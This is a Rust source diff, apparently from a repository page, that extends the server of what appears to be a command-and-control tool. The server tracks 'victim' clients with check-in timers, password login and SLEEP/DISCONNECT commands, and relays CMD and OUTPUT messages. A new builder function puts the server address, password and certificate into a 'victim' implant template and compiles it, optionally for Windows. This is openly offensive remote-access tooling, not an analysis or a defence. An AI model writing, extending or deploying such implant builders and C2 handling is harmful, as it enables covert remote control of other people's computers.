let out;
|
let out;
|
||||||
|
let dead = Instant::now().duration_since(c.last_check)
|
||||||
|
> c.timer;
|
||||||
if let Some(hostname) = c.hostname.clone() {
|
if let Some(hostname) = c.hostname.clone() {
|
||||||
out = format!("{}: {}({})", c.id, hostname, c.address);
|
out = format!(
|
||||||
|
"{}: {}({}) - Alive:{}",
|
||||||
|
c.id, hostname, c.address, !dead
|
||||||
|
);
|
||||||
} else {
|
} else {
|
||||||
out = format!("{}: {}", c.id, c.address);
|
out = format!(
|
||||||
|
"{}: {} - Alive:{}",
|
||||||
|
c.id, c.address, !dead
|
||||||
|
);
|
||||||
}
|
}
|
||||||
println!("client list requested!");
|
println!("client list requested!");
|
||||||
println!("adding {} to response...", out);
|
println!("adding {} to response...", out);
|
||||||
@@ -284,7 +388,10 @@ where
|
|||||||
});
|
});
|
||||||
}
|
}
|
||||||
"TEST" => {
|
"TEST" => {
|
||||||
responses.push(ClientAction::Output("TEST BACK".to_string()));
|
responses.push(ClientAction::Output(format!(
|
||||||
|
"from: {} server() TEST BACK",
|
||||||
|
server_name
|
||||||
|
)));
|
||||||
}
|
}
|
||||||
"SET_HOSTNAME" => {
|
"SET_HOSTNAME" => {
|
||||||
lock.clients
|
lock.clients
|
||||||
@@ -294,6 +401,36 @@ where
|
|||||||
c.hostname = Some(data.trim().to_string());
|
c.hostname = Some(data.trim().to_string());
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
"LOGOUT" => {
|
||||||
|
lock.clients
|
||||||
|
.iter_mut()
|
||||||
|
.filter(|c| c.id == source_id)
|
||||||
|
.for_each(|c| {
|
||||||
|
c.logged_in = false;
|
||||||
|
responses.push(ClientAction::Output(
|
||||||
|
"Logout successful!".to_string(),
|
||||||
|
));
|
||||||
|
});
|
||||||
|
}
|
||||||
|
"DISCONNECT" => {
|
||||||
|
println!("client disconnected!");
|
||||||
|
lock.clients
|
||||||
|
.iter_mut()
|
||||||
|
.filter(|c| c.id == source_id)
|
||||||
|
.for_each(|c| {
|
||||||
|
c.remove = true;
|
||||||
|
});
|
||||||
|
}
|
||||||
|
"SLEEP" => {
|
||||||
|
if let Ok(secs) = data.parse::<u64>() {
|
||||||
|
lock.clients
|
||||||
|
.iter_mut()
|
||||||
|
.filter(|c| c.id == source_id)
|
||||||
|
.for_each(|c| {
|
||||||
|
c.timer = Duration::from_secs(secs);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
_ => {}
|
_ => {}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -327,5 +464,80 @@ where
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
} else {
|
||||||
|
if let Some((source, data)) = checkin.split_once("|||") {
|
||||||
|
if let Ok(source_id) = source.trim().parse::<usize>() {
|
||||||
|
println!("{}", source_id);
|
||||||
|
let mut responses = Vec::new();
|
||||||
|
if let Ok(mut lock) = server.lock() {
|
||||||
|
data.split("||").into_iter().for_each(|action| {
|
||||||
|
if let Some((cmd, data)) = action.split_once("|") {
|
||||||
|
match cmd.trim() {
|
||||||
|
"LOGIN" => {
|
||||||
|
let password = lock.password.clone();
|
||||||
|
if data.trim().to_string() == password {
|
||||||
|
lock.clients
|
||||||
|
.iter_mut()
|
||||||
|
.filter(|c| c.id == source_id)
|
||||||
|
.for_each(|c| {
|
||||||
|
c.logged_in = true;
|
||||||
|
responses.push(ClientAction::Output(
|
||||||
|
"Login successful!".to_string(),
|
||||||
|
));
|
||||||
|
println!("client {} logged in!", source_id);
|
||||||
|
});
|
||||||
|
} else {
|
||||||
|
responses.push(ClientAction::Output(
|
||||||
|
"Login failed!".to_string(),
|
||||||
|
));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
_ => {
|
||||||
|
responses.push(ClientAction::Output(
|
||||||
|
"Not authenticated!".to_string(),
|
||||||
|
));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
println!("error splitting cmd and data!");
|
||||||
|
});
|
||||||
|
} else {
|
||||||
|
println!("error getting server lock!");
|
||||||
|
}
|
||||||
|
if responses.len() > 0 {
|
||||||
|
let mut messages = Vec::new();
|
||||||
|
for r in responses {
|
||||||
|
match r {
|
||||||
|
ClientAction::Cmd(cmd) => {
|
||||||
|
messages.push(format!("CMD|{}", cmd));
|
||||||
|
}
|
||||||
|
ClientAction::Output(text) => {
|
||||||
|
println!("adding {} to output", text);
|
||||||
|
messages.push(format!("OUTPUT|{}", text));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let full_message = messages.join("||");
|
||||||
|
println!("attempting to send {}", full_message);
|
||||||
|
let buf = full_message.as_bytes();
|
||||||
|
stream.write(buf).await.unwrap();
|
||||||
|
println!("buffer written!");
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
println!("error parsing source ID!");
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
println!("error splitting source from data!");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if let Ok(lock) = server.try_lock() {
|
||||||
|
println!("Client Information:");
|
||||||
|
lock.clients.iter().for_each(|c| {
|
||||||
|
println!(
|
||||||
|
"ID:{} ADDRESS:{} AUTHENTICATED:{}",
|
||||||
|
c.id, c.address, c.logged_in
|
||||||
|
);
|
||||||
|
});
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,61 @@
|
|||||||
|
use crate::*;
|
||||||
|
use rayon::spawn;
|
||||||
|
|
||||||
|
pub fn generate_code(
|
||||||
|
address: String,
|
||||||
|
password: String,
|
||||||
|
config_file: PathBuf,
|
||||||
|
files: PathBuf,
|
||||||
|
target: String,
|
||||||
|
tx: Sender<ToolMessage>,
|
||||||
|
cert_text: String,
|
||||||
|
) -> Result<(), Box<dyn Error>> {
|
||||||
|
let mut source_path = config_file.clone();
|
||||||
|
source_path.pop();
|
||||||
|
source_path.push("victim/src/main.rs");
|
||||||
|
let mut source = read_to_string(&source_path)?;
|
||||||
|
source = source
|
||||||
|
.replace("|||SERVER|||", &address)
|
||||||
|
.replace("|||PASSWORD|||", &password)
|
||||||
|
.replace("|||CERT|||", &cert_text);
|
||||||
|
source_path.pop();
|
||||||
|
source_path.pop();
|
||||||
|
source_path.push("Cargo.toml");
|
||||||
|
let cargo_string = read_to_string(source_path)?;
|
||||||
|
let mut files_base = files.clone();
|
||||||
|
files_base.push("victim/src");
|
||||||
|
create_dir_all(&files_base)?;
|
||||||
|
files_base.push("main.rs");
|
||||||
|
let mut src_file = File::create(&files_base)?;
|
||||||
|
src_file.write_all(source.as_bytes())?;
|
||||||
|
files_base.pop();
|
||||||
|
files_base.pop();
|
||||||
|
files_base.push("Cargo.toml");
|
||||||
|
let mut cargo_file = File::create(&files_base)?;
|
||||||
|
cargo_file.write_all(cargo_string.as_bytes())?;
|
||||||
|
files_base.pop();
|
||||||
|
let mut cargo_command = Command::new("cargo");
|
||||||
|
cargo_command
|
||||||
|
.arg("build")
|
||||||
|
.arg("--release")
|
||||||
|
.current_dir(files_base);
|
||||||
|
if target.to_lowercase().contains("windows") {
|
||||||
|
cargo_command.arg("--target").arg("x86_64-pc-windows-gnu");
|
||||||
|
}
|
||||||
|
spawn(move || compile_victim(cargo_command, tx));
|
||||||
|
return Ok(());
|
||||||
|
}
|
||||||
|
|
||||||
|
fn compile_victim(mut cargo_command: Command, tx: Sender<ToolMessage>) {
|
||||||
|
let mut out = "Error compiling output!".to_string();
|
||||||
|
if let Ok(output) = cargo_command.output() {
|
||||||
|
if output.status.success() {
|
||||||
|
out = "Victim compiled successfully!".to_string();
|
||||||
|
} else {
|
||||||
|
out.push_str(&format!(" {}", String::from_utf8_lossy(&output.stderr)));
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
out.push_str(" Couldn't spawn compile process!");
|
||||||
|
}
|
||||||
|
let _ = tx.send(ToolMessage::Output((0, out)));
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user